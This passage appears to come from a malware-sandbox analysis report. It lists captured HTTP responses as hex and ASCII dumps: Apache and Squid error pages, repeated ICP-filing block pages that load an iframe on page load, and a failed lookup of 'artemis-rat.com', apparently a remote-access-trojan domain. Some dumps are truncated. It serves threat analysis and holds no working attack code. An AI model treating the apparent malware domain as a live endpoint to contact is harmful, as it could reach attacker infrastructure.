20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 11 Mar 2024 02:30:41 GMTServer: ApacheContent-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/5.7Mime-Version: 1.0Date: Mon, 11 Mar 2024 02:30:41 GMTContent-Type: text/html;charset=utf-8Content-Length: 3628X-Squid-Error: ERR_ACCESS_DENIED 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from lb1X-Cache-Lookup: NONE from lb1:3128Via: 1.1 lb1 (squid/5.7)Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Type: text/plain; charset=utf-8X-Content-Type-Options: nosniffDate: Mon, 11 Mar 2024 02:30:41 GMTContent-Length: 69Data Raw: 64 69 61 6c 20 74 63 70 3a 20 6c 6f 6f 6b 75 70 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 6f 6e 20 31 32 37 2e 30 2e 30 2e 31 3a 35 33 3a 20 73 65 72 76 65 72 20 6d 69 73 62 65 68 61 76 69 6e 67 0a Data Ascii: dial tcp: lookup artemis-rat.com on 127.0.0.1:53: server misbehaving
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/4.7Mime-Version: 1.0Date: Mon, 11 Mar 2024 02:30:41 GMTContent-Type: text/html;charset=utf-8Content-Length: 5X-Squid-Error: TCP_RESET 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from proxy.wakoopa.comVia: 1.1 proxy.wakoopa.com (squid/4.7)Connection: keep-aliveData Raw: 72 65 73 65 74 Data Ascii: reset
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 509<html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>zhy54-HG100-2</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://211.93.21.5:9080/error.html"; }</script> </head> <body> <iframe id="mainFrame" src="" frameborder="0" width="100%" height="100%"></iframe> </body></htmlData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 509<html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>zhy50-HG100-2</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://211.93.21.5:9080/error.html"; }</script> </head> <body> <iframe id="mainFrame" src="" frameborder="0" width="100%" height="100%"></iframe> </body></htmlData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableServer: squid/4.14Mime-Version: 1.0Date: Mon, 11 Mar 2024 02:30:42 GMTContent-Type: text/html;charset=utf-8Content-Length: 3846X-Squid-Error: ERR_DNS_FAIL 0Vary: Accept-LanguageContent-Language: enData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 31 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 31 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squidMime-Version: 1.0Date: Mon, 11 Mar 2024 02:30:42 GMTContent-Type: text/html;charset=utf-8Content-Length: 17X-Squid-Error: ERR_ACCESS_DENIED 0X-Cache: MISS from cdn-fintech.infoX-Cache-Lookup: NONE from cdn-fintech.info:8123Connection: keep-aliveData Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED
